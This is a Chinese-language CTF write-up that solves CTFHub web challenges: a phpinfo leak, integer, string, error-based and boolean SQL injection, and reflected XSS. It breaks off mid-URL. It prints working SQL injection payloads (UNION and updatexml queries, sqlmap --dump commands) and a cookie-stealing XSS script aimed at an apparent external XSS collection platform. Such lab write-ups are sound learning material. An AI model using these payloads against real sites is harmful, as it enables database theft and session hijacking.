• 渗透学习-CTF篇-web-ctfhub



    前言

    随着学习的不断深入,为了防止自己忘记之前所学的内容,于是我决定再不断的向下学习的同时做一些ctf的题来唤醒自己的记忆!!


    一、信息泄露

    phpinfo()

    我们一打开这个靶场就发现是一个phpinfo的页面,那么我便猜测这题的flag可能隐藏在phpinfo的这些信息中,或者是藏在页面源代码中。

    于是乎,我先直接按下ctrl+f 进行查找关键词:ctfhub ,看看是否就隐藏在其中??

    在这里插入图片描述

    okok,发现了!!! 还是比较简单的。

    三、sql注入

    整数型注入:

    探测列数量:

    http://challenge-4580e5c9034a47f3.sandbox.ctfhub.com:10800/?id=1 order by 2 -- 
    

    发现只有两列:
    在这里插入图片描述
    拿库:

    id=-1 union select database(),user() -- 
    

    在这里插入图片描述

    拿表:

    ?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' -- 
    

    在这里插入图片描述
    拿列:

    ?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='flag' -- 
    

    在这里插入图片描述
    拿数据:

    ?id=-1 union select *,2 from flag  -- 
    

    在这里插入图片描述
    成功!! 目前来说这一关不难

    字符型注入:

    探测列数量:

    ?id=1' order by 2 -- 
    

    发现只有两列:
    在这里插入图片描述

    拿库:

    id=-1' union select database(),user() -- 
    

    在这里插入图片描述

    拿表:

    ?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' -- 
    

    在这里插入图片描述
    拿列:

    ?id=-1'  union select group_concat(column_name),2 from information_schema.columns where table_name='flag' -- 
    

    在这里插入图片描述

    拿数据:

    ?id=-1' union select *,2 from flag  -- 
    

    在这里插入图片描述

    成功!! 和数字型一个样子。没意思!!

    报错注入:

    首先,我们先进行测试一下是否有闭合回路:

    ?id=1' -- 
    

    在这里插入图片描述

    很好,这里我们可以利用这个报错的提示,我们能够看出来,这里是由于我们输入多了一个’ 。因此,这里实际上就可以认为是整数型的注入。 不过既然这里有报错的提示,那么我们就可以利用报错注入进行测试:

    以下主要利用的是updatexml函数进行报错的注入:
    拿库:

    ?id=1 and updatexml(1,concat("~",database(),"~" ),1) -- 
    

    在这里插入图片描述
    拿表:

    ?id=1 and updatexml(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema=database()),"~" ),1) -- 
    

    在这里插入图片描述
    拿字段(列):

    ?id=1 and updatexml(1,concat("~",(select group_concat(column_name) from information_schema.columns where table_name='flag'),"~" ),1) -- 
    

    在这里插入图片描述
    拿数据:

    ?id=1 and updatexml(1,concat("~",(select flag from flag),"~" ),1)  -- 
    

    在这里插入图片描述

    布尔注入:

    在这个关卡中,我们可以很容易发现页面是上关于查询的正确与否是有明显区别于提示的:
    在这里插入图片描述在这里插入图片描述

    因此,这里我们可以利用substr函数进行对查询的数据一个个进行爆破:

    比如我们通过之前关卡可知的数据库为sqli,因此我们可以试着写入一个payload进行判断是否这一关数据库的开头也是s呢?

    ?id=1 and substr(database(),1,1)='s' -- 
    

    在这里插入图片描述

    若是不嫌麻烦,或者想要多试试看手工注入的话,那么大家可以自己一个个的数据去尝试,这里以下我将利用sqlmap进行跑数据了:
    拿库:

    python3 sqlmap.py -u "http://challenge-a1eab89865a59abe.sandbox.ctfhub.com:10800/?id=1" --current-db
    

    在这里插入图片描述

    拿表:

    python3 sqlmap.py -u "http://challenge-a1eab89865a59abe.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
    
    

    在这里插入图片描述

    拿列:

    python3 sqlmap.py -u "http://challenge-a1eab89865a59abe.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns
    

    在这里插入图片描述

    这连类型都拿到了。。。

    拿数据:

    python3 sqlmap.py -u "http://challenge-a1eab89865a59abe.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump
    

    在这里插入图片描述

    四、XSS注入

    反射型:

    我们现在第一个框中输入一些字符看看:
    在这里插入图片描述

    发现url出现了一个参数变量name,那么估计这里是用get方式进行提交的。然后,我估摸着这里应该可以进行XSS的反射性注入的,于是乎我们来输入一些脚本字符看看:

    <script>alert(document.cookie)</script>
    

    在这里插入图片描述
    emmm,貌似做了一些限制,让我们看不到。

    让我们接着看一下,发现这里下面还有一个输入框,而这个输入框貌似可以写入url进行发送?? 我们来把这里的测试url写入一下看看?

    http://challenge-73aa0b6898696643.sandbox.ctfhub.com:10800/?name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
    

    在这里插入图片描述

    好像确实是可以读取url,并发送的。。。那么我们直接试试看利用xss平台能否成功?
    在这里插入图片描述
    写入下面语句到第二个输入框中

    http://challenge-3d143cd40b77db06.sandbox.ctfhub.com:10800/?name=